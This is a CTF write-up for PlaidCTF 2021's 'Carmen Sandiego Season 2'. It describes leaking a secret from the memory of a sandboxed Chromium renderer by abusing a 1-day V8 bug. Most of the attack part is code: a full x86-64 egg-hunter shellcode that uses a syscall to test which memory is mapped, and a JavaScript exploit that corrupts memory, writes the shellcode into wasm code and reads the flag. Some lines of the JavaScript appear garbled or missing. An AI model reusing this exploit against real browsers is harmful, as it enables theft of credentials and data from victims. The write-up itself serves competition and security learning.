# Information Leak via Compromised Sandboxed Browser

This article covers the exploit part. Check this one written by s1r1us for the web and chromium-security part.

I solved some pwnable tasks from PlaidCTF 2021. There was a challenge named "Carmen Sandiego Season 2", which was a series of two XSS challenges. Of course I hadn't checked the web task but I noticed a message in the channel.

The crawler to check XSS uses the Chromium browser of version 90.0.4403.0. (Thanks @S1r1us_ for the version info!) If you're following @r4j0x00 on Twitter, you'd immediately notice this version of Chromium has a 1-day vulnerability.

The crawler must specify --no-sandbox option, which disables the sandbox feature of the renderer process, to turn the vulnerability into RCE. Unfortunately, however, the crawler is using the sandbox feature. (Thanks @po6ix for checking the options!)

Abusing the 1-day exploit to execute commands seems impossible.

# Renderer Process and Redirection

Soon after I thought it was impossible to compromise the crawler, @po6ix found something interesting. The (sample) flag is on the memory.

Chromium uses a same renderer process for the same tab and the same host. This sounds natural but is a very important restriction for this attack.

His idea is, first make the crawler access to the flag, and then make it redirect to the exploit on the same host as the flag. We have XSS now. XSS takes place in the target host, and the credential to steal (flag this time) exists in the same host.*1

All modern web browsers use the garbage collection to manage objects. The objects swept by GC still stay on the memory. Some of the freed objects may be overwritten by the newly allocated objects, but the others may not.

In fact, the string objects (HTML and so on) are allocated on the heap and copied into some places. Some of them are overwritten after the redirect, but the other freed string objects are not. The credential to steal may stay on the memory even after the redirection.*2

Our goal is to somehow extract the credential from the memory and leak it.

# Blind Egg Hunter

Finding a specific value from the memory reminded me of the egg hunter shellcode. However, we have no information of the address of the credential. The target object is already freed by GC and there's no pointer pointing to the object.

Chromium (and most browser) has a huge amount of memory but we don't know exactly which address it's mapped at. How can we tell where the mapped pages are?

There're several ways to accomplish this. My first idea is use xbeing and xend instructions. Using these instructions, we can tell if an access violation occured. However, this method depends on the model of the CPU and my laptop doesn't support them. *3

The second idea is use syscall for the oracle. Even in the strict sandbox of Chromium, the renderer can still call some system calls such as SYS_write and so on. They are very useful for telling if a given address is mapped (accessible) or not.

The following code is the "blind" egg hunter to find a string that starts with PCTF from the memory.

global _start
section .text

_start:
push r12
push r10
push r9
push r8
push rbp
xor ebx, ebx
mov r12, 0x100000000
mov r9, 0x7fff00000000
mov rbp, 0x20000000000

find_base:
and rbp, r9
mov r10, 0xf
nauty_lp:
mov rdi, rbp
call is_mapped
test eax, eax
jnz find_flag
dec r10
jnz nauty_lp
next_base:
cmp rbp, r9
jge fail
jmp find_base
fail:
mov eax, 1337
pop rbp
pop r8
pop r9
pop r10
pop r12
ret

find_flag:
inc ebx
mov r8, rbp
next_flag:
test r8, 0xfff
jnz skip_check
mov rdi, r8
call is_mapped
test eax, eax
jz skip
skip_check:
cmp dword [r8], 'PCTF'
jz found_flag
cmp r8d, 0x0fff0000
jge next_base
jmp next_flag
skip:
cmp r8d, 0x0fff0000
jge next_base
jmp next_flag

found_flag:
call flag
lp:
mov al, [r8]
mov [r12], al
test al, al
jz bye
inc r8
inc r12
jmp lp
bye:
mov eax, 777
pop rbp
pop r8
pop r9
pop r10
pop r12
ret

;; check if the address of rdi is mapped
is_mapped:
mov edx, 4
mov rsi, rdi
mov edi, 1
mov eax, 1
syscall
cmp eax, 4
jz mapped
xor eax, eax
ret
mapped:
mov eax, 1
ret

flag:
call flagger
flagger:
pop r12
ret


This works as a WebAssembly function in my exploit. The wasm function will return 777 if it finds the flag, otherwise 1337. The flag is saved at the tail of the shellcode. (Since we already have AAW primitive to inject the shellcode, we also have AAR primitive with which we can read the flag.)

# Exploit

I modified a published exploit for the 1-day exploitation part so that it works on the crawler. (Thenks @avboy1337 for the exploit.)

/**
* Utils
*/
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
function gc() {
for (var i = 0; i < 0x10000; ++i)
var a = new ArrayBuffer();
}

/**
* Exploit
*/
function pwn()
{
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;

class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}

function jitme(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;
let buff = new LeakArrayBuffer(0x1000);
arr[0] = 0x1122;
return [arr, local_arr, buff];
}

/* Cause bug */
gc();
console.log("[+] START");
for (var i = 0; i < 0x10000; ++i)
jitme(false);
gc();
[corrput_arr, rwarr, corrupt_buff] = jitme(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;

/* Primitives */
function set_backing_store(l, h) {
console.log(h.hex(), l.hex());
rwarr[4] = ((h << 32n) | (rwarr[4].f2i() & 0xffffffffn)).i2f();
rwarr[5] = ((rwarr[5].f2i() & 0xffffffff00000000n) | l).i2f();
}
corrupt_buff.slot = o;
return (rwarr[9].f2i() - 1n) & 0xffffffffn;
}

let corrupt_view = new DataView(corrupt_buff);
console.log("[+] leak = " + corrupt_buffer_ptr_low.hex());
console.log("[+] instance = " + addr_wasm.hex());

/* Fake obj */
let idx0Addr = corrupt_buffer_ptr_low - 0x10n;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000n) - ((corrupt_buffer_ptr_low & 0xffff0000n) % 0x40000n) + 0x40000n;
if ((delta % 8n) == 0n) {
let baseIdx = delta / 8n;
this.base = rwarr[baseIdx].f2i() & 0xffffffffn;
} else {
let baseIdx = ((delta - (delta % 8n)) / 8n);
this.base = rwarr[baseIdx].f2i() >> 32n;
}
console.log("[+] base = " + this.base.hex());

let code_entry = corrupt_view.getFloat64(13 * 8, true);
set_backing_store(code_entry.f2i() >> 32n,
code_entry.f2i() & 0xffffffffn);

let shellcode = [0x41,0x54,0x41,0x52,0x41,0x51,0x41,0x50,0x55,0x31,0xdb,0x49,0xbc,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x49,0xb9,0x0,0x0,0x0,0x0,0xff,0x7f,0x0,0x0,0x48,0xbd,0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x0,0x4c,0x21,0xcd,0x41,0xba,0xf,0x0,0x0,0x0,0x48,0x89,0xef,0xe8,0x94,0x0,0x0,0x0,0x85,0xc0,0x75,0x25,0x48,0x81,0xc5,0x0,0x10,0x0,0x0,0x49,0xff,0xca,0x75,0xe8,0x4c,0x1,0xe5,0x4c,0x39,0xcd,0x7d,0x2,0xeb,0xd5,0xb8,0x39,0x5,0x0,0x0,0x5d,0x41,0x58,0x41,0x59,0x41,0x5a,0x41,0x5c,0xc3,0xff,0xc3,0x49,0x89,0xe8,0x49,0xf7,0xc0,0xff,0xf,0x0,0x0,0x75,0xc,0x4c,0x89,0xc7,0xe8,0x55,0x0,0x0,0x0,0x85,0xc0,0x74,0x18,0x41,0x81,0x38,0x50,0x43,0x54,0x46,0x74,0x21,0x49,0x83,0xc0,0x4,0x41,0x81,0xf8,0x0,0x0,0xff,0xf,0x7d,0xb7,0xeb,0xd3,0x49,0x81,0xc0,0x0,0x10,0x0,0x0,0x41,0x81,0xf8,0x0,0x0,0xff,0xf,0x7d,0xa5,0xeb,0xc1,0xe8,0x44,0x0,0x0,0x0,0x41,0x8a,0x0,0x41,0x88,0x4,0x24,0x84,0xc0,0x74,0x8,0x49,0xff,0xc0,0x49,0xff,0xc4,0xeb,0xed,0xb8,0x9,0x3,0x0,0x0,0x5d,0x41,0x58,0x41,0x59,0x41,0x5a,0x41,0x5c,0xc3,0xba,0x4,0x0,0x0,0x0,0x48,0x89,0xfe,0xbf,0x1,0x0,0x0,0x0,0xb8,0x1,0x0,0x0,0x0,0xf,0x5,0x83,0xf8,0x4,0x74,0x3,0x31,0xc0,0xc3,0xb8,0x1,0x0,0x0,0x0,0xc3,0xe8,0x0,0x0,0x0,0x0,0x41,0x5c,0xc3];
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}

console.log("[+] result = " + main());
let flag = "";
let ofs = 0;
while (true) {
let c = corrupt_view.getUint8(shellcode.length-3+ofs);
if (c == 0) break;
flag += String.fromCharCode(c);
ofs += 1;
}
console.log("[+] flag = " + flag);
console.log("[+] DONE");
}

pwn();


Finally, @po6ix and @arang modified this exploit so that it leaks the flag to their servers.

This is the screenshot of the exploit.

I think this method is useful in many cases where the attacker wants to leak information of the victim, and the attacker can insert iframe but cannot directly insert javascript code. This solution, of course, is not intended but it was a lot of fun!

*1:Credentials such as the cookies can be stolen without the redirection by using the egg hunter I explain later.

*2:Check this tweet for how to leak victim's flag from the attacker's domain. I cannot explain the detail as it's out of my scope.

*3:po6ix found xbegin is available on the remote server though